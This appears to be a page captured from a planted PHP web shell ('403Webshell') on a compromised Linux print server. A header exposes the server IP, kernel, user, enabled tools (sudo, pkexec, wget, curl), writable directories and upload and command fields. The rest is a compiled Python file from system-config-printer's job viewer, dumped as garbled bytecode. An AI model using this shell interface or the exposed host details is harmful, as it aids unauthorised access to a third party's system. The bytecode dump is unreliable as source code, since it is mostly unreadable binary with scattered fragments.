403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/system-config-printer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/system-config-printer/jobviewer.pyc
Jc#@s4ddkZddkZddkZddkZddkZddkZddkZddkZddkZddk	Zddk
ZddklZddk
Z
ddkZddkZddkZddkZddkZddkZddkZddkZddkTddkZddkZddkZddkZyddkZeZWnej
o
eZnXddklZ dZ!ei"e!eii"e!eii#e!ddkl$Z$ei%e ei%e ei&Z'dZ(dZ)d	Z*ei+d
dddYZ,d
ee
i-fdYZ.dS(iN(tGtkGUI(t*(tgettextssystem-config-printer(tStateReasonsapplet.gladetprintersdocument-print-previews"System Config Printer NotificationtPrinterURIIndexcBs2eZddZdZdZddZRS(cCsh|_||_dS(N(Rtnames(tselfR((s-/usr/share/system-config-printer/jobviewer.pyt__init__Gs	cCsg}|ido;|d}t|tjo
|g}n|i|n|ido|i|dn|ido|i|dnx|D]}||i|<qWdS(Nsprinter-uri-supportedsnotify-printer-urisprinter-more-info(thas_keyttypetlisttextendtappendR(RRtattrsturist
uri_supportedturi((s-/usr/share/system-config-printer/jobviewer.pytupdate_from_attrsKs

cCsF|ii}x0|D](}|i||jo|i|=qqWdS(N(Rtkeys(RRRR((s-/usr/share/system-config-printer/jobviewer.pytremove_printerZs
cCsy|i|SWntj
o|djoti}ndddg}y|id|d|}Wntij
o
tnX|d}|i||||i|<y|i|SWqtj
oqXnXtdS(Nsprinter-namesprinter-uri-supportedsprinter-more-infoRtrequested_attributes(RtKeyErrortNonetcupst
ConnectiontgetPrinterAttributestIPPErrorR(RRt
connectiontrRtname((s-/usr/share/system-config-printer/jobviewer.pytlookupas&




N(t__name__t
__module__RRRRR(((s-/usr/share/system-config-printer/jobviewer.pyRFs		t	JobViewerc
BseZeddddddgZdGdGeeeedGdGdGd	ZdZdZ	dGd	Z
d
ZdZdGdZ
d
ZdZdZedZdZdZdZdZdGdZdGdZdGdZdZdZdZdZdZdZdZdZ d Z!d!Z"d"Z#d#Z$d$Z%d%Z&d&Z'd'Z(d(Z)d)Z*d*Z+d+Z,d,Z-d-Z.dGd.Z/dGd/Z0dGd0Z1dGd1Z2d2Z3d3Z4dGd4Z5d5Z6d6Z7d7Z8d8Z9d9Z:d:Z;d;Z<d<Z=d=Z>d>Z?d?Z@d@ZAdAZBdBZCdCZDdDZEdEZFdFZGRS(Hsjob-k-octetssjob-namesjob-originating-user-namesjob-printer-uris	job-statestime-at-creationc
Cs||_||_||_||_||_||_||_h|_h|_t	|_
t	|_h|_d|_
h|_h|_h|_d|_t|_h|_t	|_|ihddddgd6dgd6tid}
|
idtiddd|ifd	titd
dd|ifdti tddd|i!fd
ti"tddd|i#fddtddd|i$fgti%|_&|i&i'|
d|i&i(d|i&i)|i*i+|i&i,ti-|_.xydd	dd
ddgD]_}|pti/}n)|
i0|}
|
i1t|
i2}|i3|i.i4|qW|i5i6|i.x tttd|i7ft8ttd|i9ftt8td|i:ftt8td|i;ftttd|i<fgD]\}}}}|o|oqnti=}|o'|i>dt?i@|i>ddntiA||}|iB|||iCt8|iDiE|qWti=}tiAtd|dd}|iCt8|iDiE|tiAtd}tiF}|iG|tti=}|i>dt?i@|i>dd|iG|t8|iB||iH|iB||iI|iDiE||iDiJiKtiLtiMtNtO|_P|iPiQdtiR|iDiS|iP|iDiTt8|iDiUd|iV|iDiUd |iW|iDiUd!|iX|iPiUd"|iY|i*iZt[|i*i\|ot]d#|}n|o+|otd$|}qtd%}n"|od&|}n
td'}|i*i^td(||	o|i*i_|	nt|_`tia}|ibt[d)d|_c|ibd*d)d|_d|icie|_f|ifigd|icih|ifdd|ifii|ifijddd+d+tikild,|iotim|_n|ibt[d)d}|inio||ip|if|iniUd-|iq|iniUd |ir|inistn|djottiu}n|ivt8twix|_ytwiz|_{twi||_}t~i|d.|d/|d0|d1|iyd2|i{d3|i}|_~|ip|i*i3ndS(4Nit
JobsWindowtjob_menubar_itemttreeviewt	statusbartstatusicon_popupmenutJobActionGroups
cancel-jobshold-jobt_Holdsrelease-jobt_Releasesreprint-jobtRe_printsauthenticate-jobt
_Authenticateis
<ui>
 <accelerator action="cancel-job"/>
 <accelerator action="hold-job"/>
 <accelerator action="release-job"/>
 <accelerator action="reprint-job"/>
 <accelerator action="authenticate-job"/>
</ui>
tJobtUsertDocumenttPrintertSizet	ellipsizeswidth-charsisTime submittedttextitStatustbutton_release_events
popup-menuscursor-changedsrow-changedcSs|d|S(s, ((txty((s-/usr/share/system-config-printer/jobviewer.pyt<lambda>ss
my jobs on %ssmy jobss%ssall jobssDocument Print Status (%s)isprinter-printingg?itactivatetbustmy_jobstspecific_deststhosttportt
encryption(tlooptservice_runningttrayicontsuppress_icon_hideR;R<texit_handlertjobstjobiterstsettactive_jobststopped_job_promptstprinter_state_reasonstnum_jobs_when_hiddentconnecting_to_devicetstate_reason_notificationstauth_info_dialogsRtjob_creation_times_timertFalsetspecial_status_icontnew_printer_notificationstauthenticated_jobst
getWidgetstgtktActionGrouptadd_actionstSTOCK_CANCELton_job_cancel_activatetSTOCK_MEDIA_PAUSEt_ton_job_hold_activatetSTOCK_MEDIA_PLAYton_job_release_activatet
STOCK_REDOton_job_reprint_activateton_job_authenticate_activatet	UIManagertjob_ui_managertinsert_action_grouptadd_ui_from_stringt
ensure_updateR#tadd_accel_grouptget_accel_grouptMenutjob_context_menutSeparatorMenuItemt
get_actiont
set_sensitivetcreate_menu_itemtshowR
R$tset_submenut_set_job_job_number_texttTruet_set_job_user_textt_set_job_document_textt_set_job_printer_textt_set_job_size_texttCellRendererTexttset_propertytpangot
ELLIPSIZE_ENDtTreeViewColumntset_cell_data_funct
set_resizableR%t
append_columntCellRendererPixbuft
pack_startt_set_job_status_icont_set_job_status_textt
get_selectiontset_modetSELECTION_SINGLEt	TreeStoretinttstrtstoretset_sort_column_idtSORT_DESCENDINGt	set_modeltset_rules_hinttconnectt on_treeview_button_release_eventton_treeview_popup_menuton_treeview_cursor_changedton_treemodel_row_changedt
set_icon_nametICONthidetreducet	set_titletset_transient_fort
statusbar_setticon_theme_get_defaultt	load_icont	icon_jobsticon_jobs_processingtcopyticon_no_jobstfillt	compositet	get_widtht
get_heighttgdktINTERP_BILINEARt
StatusIcont
statusicontset_from_pixbuftset_statusicon_from_pixbufttoggle_window_displayton_icon_popupmenutset_visibletdbust	SystemBustset_process_pendingRt	getServerR=tgetPortR>t
getEncryptionR?tmonitortMonitor(RR:R@RARBRCR;R<RDtparenttjob_action_grouptaction_nametitemtactiontskipR2RtsettertcelltcolumnticonR3t	the_deststtitletthemetpixbuf((s-/usr/share/system-config-printer/jobviewer.pyRs0																		
						








			



cCs|iixk|ii|iigD]K}xB|D]:}|idtjo|i|idtq9q9Wq,W|i	djoti|i	d|_	n|i
o|i
|ndS(Ntclosed(RtcleanupRRtvaluesRMtget_dataRrtclosetset_dataRORtgobjectt
source_removeRD(Rtltnotification((s-/usr/share/system-config-printer/jobviewer.pyRBs



cCs
||_dS(N(tprocess_pending_events(Rtwhether((s-/usr/share/system-config-printer/jobviewer.pyRTscCsHt|_|ii||i|djo|id|ndS(Nttooltip(RrRQRtset_from_icon_nametset_statusicon_visibilityRtset_statusicon_tooltip(RticonnameR((s-/usr/share/system-config-printer/jobviewer.pytset_special_statusiconXs
	

cCs4t|_|ii|i|i|idS(N(RPRQRRtsaved_statusicon_pixbufRR(R((s-/usr/share/system-config-printer/jobviewer.pytunset_special_statusicon_s	
cCs|||i|<|id||id|i|i|i|iy|iWnti	j
ot
nXdS(Nsprinter-nameR(RRRRt"on_new_printer_notification_closedRtattach_to_status_iconRRoRtGErrortnonfatalException(RRR((s-/usr/share/system-config-printer/jobviewer.pytnotify_new_printeres

cCs'|id}|i|=|idS(Nsprinter-name(RRRR(RRtreasonR((s-/usr/share/system-config-printer/jobviewer.pyRps
cCs+||_|ip|ii|ndS(N(RRQRR(Rtpb((s-/usr/share/system-config-printer/jobviewer.pyRus	
cGsb|ip|io<|ii|iidt|ip|iq^n|iitS(Ntvisible(	RBR@R#RRRPRtquitRr(Rtargs((s-/usr/share/system-config-printer/jobviewer.pyton_delete_eventzs


cCsti|||iS(N(terrordialogstshow_IPP_ErrorR#(Rt	exceptiontmessage((s-/usr/share/system-config-printer/jobviewer.pyRscCs|iid}|o
t}n|og|ii}|ii\}}}|it|idddt	i
it||ii
n!|ii|iiit|iid|dS(NRt_NET_WM_ICON_GEOMETRYtCARDINALi (R#RRPtwindowRtget_geometrytset_skip_taskbar_hintRrtproperty_changeRURtPROP_MODE_REPLACERticonifytpresentR(RRt
force_showRtwtstareato((s-/usr/share/system-config-printer/jobviewer.pyRs

		

cCs:|io
d}nd}|iid|dtdS(Ntalls
not-completedt
which_jobstrefresh_all(t
get_activeRtrefreshRP(RtmenuitemR((s-/usr/share/system-config-printer/jobviewer.pyton_show_completed_jobs_activates

c
Csiti}t}x|iiD]\}}|ii|o|i|}ntd}|idow|d}||}t}|djotd}q|djo$t|d}	td|	}q|djoAt|d}
|
djotd	}qtd
|
}q|djoAt|d}|djotd}qtd
|}q|d joAt|d#}|djotd}qtd|}qt}ti	dti
|}n|ii|d|q"W|o-|i
o"tid$|i}||_
n|p+|i
oti|i
d|_
qen|S(%NtUnknownstime-at-creationii<sa minute agos%d minutes agoiisan hour agos%d hours agoit	yesterdays%d days agois	last weeks%d weeks agos%B %YiixiiiQiii`'i:	iiQi*ii@i_7ii`'i:	i`(ttimeRPREt	iteritemsR	RFR[RrRtstrftimet	localtimeRt	set_valueRORttimeout_addtupdate_job_creation_timesRR(
Rtnowtneed_updatetjobtdatatitertttcreatedtagotminsthourstdaystweeks((s-/usr/share/system-config-printer/jobviewer.pyRsT











cCsz|i|i|ii||tijoB|iidp+ddk}|i	|i
}||_qvndS(Nttroubleshooteri(RtdestroyRItremoveRUtRESPONSE_NOt__dict__R	ttroubleshoottrunton_troubleshoot_quitR(RtdialogtresponsetjobidRR((s-/usr/share/system-config-printer/jobviewer.pytprint_error_dialog_responses

cCs
|`dS(N(R(RR((s-/usr/share/system-config-printer/jobviewer.pyRsc
si||d|i}iid}|i|d|td||i|<ii}|djo\|\}}ii	dt
ifjo-|djo iid	dt
ddqnip#fd}	tid|	ndS(
NRisJob %d addedigcsitS(N(RRP((R(s-/usr/share/system-config-printer/jobviewer.pyt!start_updating_job_creation_timess
i(i(i(t
update_jobRR
RRt
debugprintRFR%tget_visible_rangetget_sort_column_idRURtscroll_to_cellRPRORR(
RRRRRRtrangetstarttendR((Rs-/usr/share/system-config-printer/jobviewer.pytadd_jobs 	


$
c!Cs|it|i}|od}yk|djo+tid|id|id|i}nt	d|t
|}|i|d|}Wn%tj
ont
j
onX|o|i|qn||i|<t}y_|idti}t|}|titigjo!ddg}	dd	g}
|id
}ti|id|id|id|i}|id|d|
}y|d}
Wn)tj
ot	dd
dg}
nXt|
t
p|
g}
|
|d<n|i||i|d|	}|i||idti}t|}nWnBtj
on1tj
ontij
o\}}nXy|d=Wntj
onX|ii|io|tijo|idddj}|o|i i!|oyti"dWnt	ddSXt#}d}d}|od|
jo|idg}
|id	}t$i%|\}}t&}|djoAt'i(d|}|i)\}}}}}t*||d<n+t$i+|\}}t$i,|\}}|iht*|i-d6t*|d6n||i.jo
t}n|od|
jot/i0}ytt/i1||}t2d|
}|
i3d
}|di4idd||<|
i3d}|di5||<Wq4t/i6j
ot	d|q4t/i7j
ot	d|q4Xn|o^|djoQy1ti|id|id|id|i}Wqtj
o
t}qXn|o|djoy`|i8t9d|i:|||i;|i<it	d||i.i=|dSWq[tij
o!\}}|i;t>dS|i;t>q[Xnt?i@tAiBd} t*| |d<|iC||qndS(NR=R>R?s
requesting %sRs	job-statesjob-hold-untilsauth-info-requireds
device-urisjob-printer-uriRs1No auth-info-required attribute; guessing insteadtusernametpasswordt_status_texttnones1.9.37s;Authentication required but authenticateJob() not availabletsmbtdomaintservertprotocolcSsdS(t((R6((s-/usr/share/system-config-printer/jobviewer.pyR8vsituserR.sgnomekeyring: no match for %ssgnomekeyring: denied for %ssauthenticating jobs"Automatically authenticated job %d(Dtrequired_job_attributesRGRRRRR=R>R?RRtgetJobAttributestRuntimeErrortAttributeErrortupdateRERPtgettIPP_JOB_PROCESSINGRtIPP_JOB_HELDtIPP_JOB_STOPPEDtauthconnR#RRt
isinstancet
ValueErrorRR%t
queue_drawRBRNR	trequiretUSE_KEYRINGturllibt	splittypetdicttsmburitSMBURItseparateRt	splithostt
splitnporttlowerRStgnomekeyringtITEM_NETWORK_PASSWORDtfind_items_synctmaptindext
attributestsecrettNoMatchErrortDeniedErrort_begin_operationR[tauthenticateJobt_end_operationRtaddRtpwdtgetpwuidtostgetuidtdisplay_auth_info_dialog(!RRRRRRtjob_requires_authtjstateRtjattrstpattrsRtctauth_info_requiredtetmttry_keyringt
keyring_attrst	auth_infot
device_uritschemetresttgroupR,tshareR/R't
serverportR>R
titemstindR&((s-/usr/share/system-config-printer/jobviewer.pyRs
	

			
	
	


	
	

					



cCs|i|}|d}tid|dt}|id||id||ititd|}t	i
tid}d|jo?y*|i
d}|||<|i|WqtqXnd}	x;|D]3}
||	djo|i|
Pn|	d	7}	qW|itd
|idtd|f||i|<|id
|i|id|i|id||i|it|idS(Nsauth-info-requiredR_tallow_remembers
keyring-attrscSsdS(R.((R6((s-/usr/share/system-config-printer/jobviewer.pyR8siR&R.is;Authentication required for printing document `%s' (job %d)sjob-nameRRsdelete-eventsjob-id(RER9t
AuthDialogR>Rtset_positionRUtWIN_POS_CENTERRKRURVRWRXRLt
set_auth_infoRtfield_grab_focust
set_promptR[R5RNRtauth_info_dialog_responsetauth_info_dialog_deletetshow_alltset_keep_aboveRrtshow_now(RRRcRR_RRdR&RlRLtfield((s-/usr/share/system-config-printer/jobviewer.pyRYs@

	


 


cCs|i|tidS(N(RtRUtRESPONSE_CANCEL(RRtevent((s-/usr/share/system-config-printer/jobviewer.pyRuscCsV|id}|i|=|tijo|idS|i}y1ti|id|i	d|i
d|i}Wntj
ot
ddSXt}|itdy=|i|||i}|ii||iiWn.tij
o\}}|i||nX|i|oyti}	ti}
|id}|id}|djo|djoy!|id	}
||
|d
<Wnt j
onXd|i!d
|i!d|i!d
f}|id}
||
}ti"|	|
|||t#}t
d||fnWqHt$qHXn|idS(Nsjob-idR=R>R?s+Error connecting to CUPS for authenticationsauthenticating jobs
keyring-attrssauth-info-requiredR&R/s
%s@%s (%s)R,R-R'skeyring: created id %d for %s(%RRNRUtRESPONSE_OKRt
get_auth_infoR9RR#R=R>R?R2RRPRQR[RRtget_remember_passwordRSRTRR4RRRRSRHtget_default_keyring_syncRIRRLt
IndexErrorR5titem_create_syncRrR(RRRRRdR^trememberR`RatkeyringR
RR_RlRRNtid((s-/usr/share/system-config-printer/jobviewer.pyRts^

		

	
cCs|ipdS|iot|_dSt|ii}xA|iiD]0\}}|idt	jo|d7}qLqLWt|i
}td|td|td|i|i
i|ip|djp
||ijx&|iotiotiqWdS(NRisopen notifications: %dsnum_jobs: %dsnum_jobs_when_hidden: %di(RBRCRPtlenRRRRMRRRrRHRRKRRRQRRUtevents_pendingtmain_iteration(Rtopen_notificationsRRtnum_jobs((s-/usr/share/system-config-printer/jobviewer.pyRs(

	
cCs/tiitii}|i||ddS(Ni(RURtEventtNOTHINGtshow_treeview_popup_menu(RR%R{((s-/usr/share/system-config-printer/jobviewer.pyRscCs.|idjo|i|||indS(Ni(tbuttonR(RR%R{((s-/usr/share/system-config-printer/jobviewer.pyR!scCs|i|idS(N(RR%(RtmodeltpathR((s-/usr/share/system-config-printer/jobviewer.pyR%sc
Cs|i\}}|iid}|iid}|iid}|iid}|iid}|djo2x*|||||gD]}	|	itqWdS|ii|}
|ii|
d|_	|i
|i	}|itx'||||gD]}	|	itqW|ido|d}|t
ijo|itn|t
ijo|itn|t
ijo|itn|idtp|itqn|idt
it
ijo.|id	d
djo|itqndS(Ns/cancel-jobs	/hold-jobs/release-jobs/reprint-jobs/authenticate-jobis	job-states
job-preservedsjob-hold-untilR)sauth-info-required(t
get_cursorRcRlRRmRPRtget_itert	get_valueRRERrR	RtIPP_JOB_CANCELEDtIPP_JOB_PENDINGR7R5(
RR%RRtcanceltholdtreleasetreprinttauthenticatetwidgetRRR((s-/usr/share/system-config-printer/jobviewer.pyR(s>


cCs&|iiddd||idS(N(RjtpopupRtget_time(RR%R{tevent_button((s-/usr/share/system-config-printer/jobviewer.pyRJscCs |iiddd||dS(N(R'RR(RRRR((s-/usr/share/system-config-printer/jobviewer.pyROscCs&t|ii|_|idS(N(RRERRKR(RR((s-/usr/share/system-config-printer/jobviewer.pyton_icon_hide_activateRscCs|io|h}x;tiiD]*\}}|djoq n|||<q Wtidgdtd|}tid|i	|ndS(NtSYSTEM_CONFIG_PRINTER_GLADEssystem-config-printert	close_fdstenvi
ii'(
R@RWtenvironRt
subprocesstPopenRrRRtpoll_subprocess(RRRRtvaluetp((s-/usr/share/system-config-printer/jobviewer.pyt#on_icon_configure_printers_activateVs

cCs|i}|djS(N(tpollR(Rtprocesst
returncode((s-/usr/share/system-config-printer/jobviewer.pyRascCs|io|iindS(N(R@R(RR((s-/usr/share/system-config-printer/jobviewer.pyton_icon_quit_activatees
cCsvtitd|ititiBtiBtititi	ti
f}|iti|id|i
ttitd}ti}|ititi|idd|i|ttdtitd}|it|idd|i|ttd|ii|ttd|id|i|id|i|id	|i|idS(
Ns
Cancel Jobiigis&Do you really want to cancel this job?sjob-idRsdelete-event( RUtDialogR[R#tDIALOG_MODALtDIALOG_DESTROY_WITH_PARENTtDIALOG_NO_SEPARATORtSTOCK_NORt	STOCK_YEStRESPONSE_YEStset_default_responsetset_border_widthR}RPtHBoxtImagetset_from_stocktSTOCK_DIALOG_QUESTIONtICON_SIZE_DIALOGt
set_alignmentRtLabelt
set_line_wrapRrtvboxRRRton_job_cancel_prompt_responseton_job_cancel_prompt_deleteRv(RRRthboxtimagetlabel((s-/usr/share/system-config-printer/jobviewer.pyRYis,



cCs|i|tidS(N(RRUR(RRR{((s-/usr/share/system-config-printer/jobviewer.pyRscCs%|id}|i|tijodSy1ti|id|id|id|i	}Wnt
j
odSX|itdy|i
|Wnjtij
o[\}}|tijo$|tijo|i||n|ii|idSX|i~|iidS(Nsjob-idR=R>R?s
canceling job(RRRURR9RR#R=R>R?R2RQR[t	cancelJobRRtIPP_NOT_POSSIBLEt
IPP_NOT_FOUNDRRR4RS(RRRRR^R`Ra((s-/usr/share/system-config-printer/jobviewer.pyRs0
		


cCsy1ti|id|id|id|i}Wntj
odSX|itdy|i	|i
dWnjtij
o[\}}|ti
jo$|tijo|i||n|ii|idSX|i~|iidS(NR=R>R?sholding jobt
indefinite(R9RR#R=R>R?R2RQR[tsetJobHoldUntilRRRRRRRR4RS(RRR^R`Ra((s-/usr/share/system-config-printer/jobviewer.pyR\s(		


cCsy1ti|id|id|id|i}Wntj
odSX|itdy|i	|i
dWnjtij
o[\}}|ti
jo$|tijo|i||n|ii|idSX|i~|iidS(NR=R>R?s
releasing jobsno-hold(R9RR#R=R>R?R2RQR[RRRRRRRRR4RS(RRR^R`Ra((s-/usr/share/system-config-printer/jobviewer.pyR^s(		


cCsyDti|id|id|id|i}|i|i~WnOti	j
o-\}}|i
|||iidSt
j
odSX|iidS(NR=R>R?(R9RR#R=R>R?t
restartJobRRRRRR4R2(RRR^R`Ra((s-/usr/share/system-config-printer/jobviewer.pyR`s		
cCs|i|idS(N(RYR(RR((s-/usr/share/system-config-printer/jobviewer.pyRascCs|iidS(N(RR(RR((s-/usr/share/system-config-printer/jobviewer.pyton_refresh_activatescCs.|idti}|tijotStS(Ns	job-state(R5RRRPRr(Rtjobdatatstate((s-/usr/share/system-config-printer/jobviewer.pyt
job_is_activesc
Csd}|djo|idjoq|ii}t}x;|ii|gD]$}||ijo|i}PqNqNW|djo
d|_qn|djoRxO|ii|gD]4}|djo
|}q||jo
|}qqWn|djo|i}|tijoti	|}|i
}yti}|i
|dd}	|	i||id|id|	id|	id|id|idddtiidWqtij
otd|qXqn|S(Niiig?isNo %s icon available(Rtworst_reasontget_printerRPRJR5t	get_levelRtREPORTt
LEVEL_ICONRRURRRRRRRRRR(
RRRRtfoundRtlevelRRtemblem((s-/usr/share/system-config-printer/jobviewer.pytadd_state_reason_emblemsL		






	





cCs|ipdS|djot|iidj}n|o`|i}x]|iiD]?\}}|idti	}|ti
jo|i}Pq[q[Wn
|i}y|i
|}WntnX|S(Nis	job-state(RBRRRERRRR5RRR6RRRR(Rt	have_jobsRRRR[((s-/usr/share/system-config-printer/jobviewer.pytget_icon_pixbufs$

		
	cCs|ipdS|djo]t|i}|djotd}qy|djotd}qytd|}n|ii|dS(NisNo documents queuedis1 document queueds%d documents queued(RBRRRER[Rtset_tooltip(RRR((s-/usr/share/system-config-printer/jobviewer.pyR5s



c
Cs>t}xA|iiD]0\}}t|djo|i|qqWtd|t}t|o^t}x@|iD]5}|i|d}||jo|i|qqWtd|ng}x"|D]}|i|i|qWd|_
t|djoM|d}x%|D]}	|	|jo
|	}q'q'W||_
td|n|i
djoS|i
i\}
}|io|i
idn|i
id|t|_n.d}|io|i
idt|_n|io=|id|}|i||i|id|ndS(NisUpset printers: %ssjob-printer-namesMy upset printers: %ssWorst reason: %sRR(RGRJRRRTRRHRERRRtget_descriptionRR&tpoptpushRrRPRBRRRR(
RRtupset_printersRtreasonstmy_upset_printersRt
my_reasonsRRRRR((s-/usr/share/system-config-printer/jobviewer.pyt
update_statusDsV		
	

	

	






cCs2|i}|tijodS|i|dS(N(RRtWARNINGtnotify_printer_state_reason(RRR((s-/usr/share/system-config-printer/jobviewer.pyt(notify_printer_state_reason_if_importantwscCsS|i}|ii|otdt|dS|i}|tijp|idjo
t	i
}n
t	i}|i\}}t	i
||d}t|_|i|dt	ijo|it	in|id|i||i|i<|i|i|iy|iWntij
otnXdS(Ns Already sent notification for %ssconnecting-to-deviceRtactionsR(t	get_tupleRMR	RtreprRRtERRORt
get_reasontpynotifytURGENCY_NORMALtURGENCY_LOWRtNotificationRrt
user_notifiedtset_urgencytget_server_capstset_timeoutt
EXPIRES_NEVERRt#on_state_reason_notification_closedRRRRoRRR(RRttupleRturgencyRR3R((s-/usr/share/system-config-printer/jobviewer.pyRs0
		
	

cCs2tdt||idt|idS(NsNotification %s closedR(RRRRrR(RRR((s-/usr/share/system-config-printer/jobviewer.pyRs
c		CsUtii|||||it|iih|_h|_t	d||_
d}x|iD]v\}}|i
dd}y|i
i|d|}Wntj
o
|}nX||d<|i||d|qjW||_t|_x>|iD]0\}}|i|o|ii|qqW|it|idS(NRsjob-printer-uriR.Rsjob-printer-name(RtWatchertcurrent_printers_and_jobsRRPRtclearRERFRtprinter_uri_indexRRR5RRR%RGRHRRTRrR(	RtmontprintersRERRRRR((s-/usr/share/system-config-printer/jobviewer.pyRs2

		


	

c	CsNtii|||||||idd}y|ii|}Wntj
o
|}nX||d<|ii|p|i	||n|i
|o|ii|n%||ijo|ii
|n|idt|ioT|i
|pdSx<|ii|gD]!}|ip|i|q!q!WndS(Nsjob-printer-uriR.sjob-printer-nameR(RRt	job_addedR5RRRRFR	R%RRHRTRRRrRBRJRR(	RRRt	eventnameR{RRRR((s-/usr/share/system-config-printer/jobviewer.pyRs*


cCs[tii|||||||idd}y|ii|}Wntj
o
|}nX||d<|i|o|ii	|n%||ijo|ii
|n|i|||i|i
|}|ioq|djp*|djo*|dtitigjo:||ijo*t}|d}	|	tijp!|	tijo|ddjo
t}n|d	}
|d
}|
iddjotd
||f}nz|
iddjotd||f}nJ|
iddjp|	tijo
t}ntd|||
f}|otd|i|idttitd|idtdtiti ti!f}
|
i"ti!|
i#d|
i$t|
i%t&ti'td}|i#dti(}|i)ti*ti+|i,|ttdti-td}dtdd|}yD|dti.jo,|d}|d7}|td|7}nWntj
onXti/|}|i0t|i1t|i2dd|i,|ttd|i,|ttd|
i3i,||
i4d|i5||ii	||
i6qWndS( Nsjob-printer-uriR.sjob-printer-namesjob-stoppedsjob-state-changeds	job-statesjob-hold-untilsauth-info-requiredsnotify-textsjob-namesbackend errorsisBThere was a problem sending document `%s' (job %d) to the printer.s
filter errorss6There was a problem processing document `%s' (job %d).sbeing pauseds:There was a problem printing document `%s' (job %d): `%s'.sProblem detectedRsPrint Errorit	_Diagnoseiis"<span weight="bold" size="larger">s	</span>

s
printer-statesprinter-namet s*The printer called `%s' has been disabled.R(7RRt	job_eventR5RRRRRHRTRRRRERBRR8RRIRrR6R7RPtfindR[RRRRURR#RtSTOCK_OKR|RRR}RRRRRtSTOCK_DIALOG_ERRORRRtVBoxtIPP_PRINTER_STOPPEDRtset_use_markupRRRRRRv(RRRRR{RRRtmay_be_problemR[tnotify_texttdocumentRRRRRtmarkupRR((s-/usr/share/system-config-printer/jobviewer.pyRs










		
	










	
cCstii||||||ii|o/|ii|i||i|=|i|=n||ijo|ii|n|i	dS(N(
RRtjob_removedRFR	RRRERHR(RRRRR{((s-/usr/share/system-config-printer/jobviewer.pyRTs
c	Cstii||||i\}}|i}y|i|}Wn&tj
og}||i|<nXt|_|i	||i
|ii|i
pdSxW|iiD]F\}}|i|pqn|d|jo|i|PqqWdS(Nsjob-printer-name(RRtstate_reason_addedRRRJRRPRR
RR%R<RBRERRR(	RRRRR3RRRR((s-/usr/share/system-config-printer/jobviewer.pyRas*	




cCs$tii||||i}y|i|}Wntj
otddSXy|i|}Wntj
otddSX||=|i	|i
i|ipdS|i
}yI|i|}|idtjo|in|i|=|iWntj
onXdS(NsPrinter not foundsReason not foundR(RRtstate_reason_removedRRJRRRLRRR%R<RBRRMRRrRR(RRRRRtiRR((s-/usr/share/system-config-printer/jobviewer.pyR
~s4






cCs6tii||||ipdS|i|dS(N(RRtstill_connectingRBR(RRR((s-/usr/share/system-config-printer/jobviewer.pyRs
c

Cswtii||||ipdSyF|i|}d}x,|D]$}|idjo|}PqBqBWWntj
otdnX|djo|i	}nftdxX|i
iD]G\}}}||jo+|djotd|||f}PqqWy|i
|}	Wntj
otddSX|	idt
jo|	i|	idt
ndS(Nsconnecting-to-devices(Couldn't find state reason (no reasons)!s#Couldn't find state reason in list!sFound from notifications listsUnexpected now_connected signalR(RRt
now_connectedRBRJRRRRRRMRRRrRR(
RRRRRRRRRR((s-/usr/share/system-config-printer/jobviewer.pyRs>






	

cCs3tii||||||ii||dS(N(RRt
printer_eventRR(RRRRR{((s-/usr/share/system-config-printer/jobviewer.pyRscCs*tii||||ii|dS(N(RRtprinter_removedRR(RRR((s-/usr/share/system-config-printer/jobviewer.pyRscGs&|idt|i|ddS(NR3i(RxRR(RRRRRR((s-/usr/share/system-config-printer/jobviewer.pyRqscGsE|i|d}|i|}|id|idtddS(NiR3sjob-originating-user-nameR(RRERxR5R[(RRRRRRRR((s-/usr/share/system-config-printer/jobviewer.pyRss
cGsE|i|d}|i|}|id|idtddS(NiR3sjob-nameR(RRERxR5R[(RRRRRRRR((s-/usr/share/system-config-printer/jobviewer.pyRts
cGs1|i|d}|id|i|ddS(NiR3sjob-printer-name(RRxRE(RRRRRRR((s-/usr/share/system-config-printer/jobviewer.pyRusc	Gsg|i|d}|i|}td}|idot|dd}n|id|dS(NiRsjob-k-octetstkR3(RRER[R	RRx(	RRRRRRRRtsize((s-/usr/share/system-config-printer/jobviewer.pyRvs
cCs|i|}|idti}t|}|tijo|idddj}d}|otd}nS|tijotd}|id}|djoy|id}|djot	i
}	t|| }
||d	id}|djo=||d	7}t||d	|!}t||d	}
nt||d	}d
}
|	i}|
|	ijp@|
|	ijo>||	i
jp ||	i
jo|
|	ijo|d	7}n|	i|	i||
||
d
d
df	}tiid}dtid<t	i|}|djotid=n|tid<t	i|}td
t	id|}nWqtj
oqXn|djotd}q|djotd}q|djotd}q|djotd}q|djotd}q|djotd}qnynhtdti6tdti6tdti6tdti6tdti6td ti6|}Wntj
onX|djotd!}n|S("Ns	job-statesjob-hold-untilR)sauth-info-requiredsHeld for authenticationtHeldt:iiitTZtUTCs
Held until %ss%Xsday-timesHeld until day-timeteveningsHeld until eveningtnightsHeld until night-timessecond-shiftsHeld until second shiftsthird-shiftsHeld until third shifttweekendsHeld until weekendtPendingt
ProcessingtStoppedtCanceledtAbortedt	CompletedR(RER5RR6RR7RR[RRtgmtimettm_mdayttm_hourttm_minttm_secttm_yearttm_monRWRtmktimeRRR;RR8RtIPP_JOB_ABORTEDtIPP_JOB_COMPLETEDR(RRRR[RRZRtuntiltcolon1Rthhtcolon2tmmtsstdayRtold_tzt
simpletimetlocal((s-/usr/share/system-config-printer/jobviewer.pyt_find_job_state_texts
	


	 


$	






cGs@|i|d}|i|}|idti}t|}|tijo
|i}	n
|i}	|tijot	i
}
|
it	iddd}|	i
}|i|dd|i|i|idd|iddddt	iid|}	n |d}
|i|	d	|
}	|id
|	dS(Nis	job-stateiiig?isjob-printer-nameRR(RRER5RR6RRRR7RURRRZRRRRRtINTERP_NEARESTRRx(RRRRRRRR[RRRRRR((s-/usr/share/system-config-printer/jobviewer.pyR?s,

			

c	Gs|i|d}|i|}y|d}Wn,tj
o |i|}||d<nX|d}|ii|g}	t|	djoZ|	d}
x)|	dD]}||
jo
|}
qqW|
i\}}
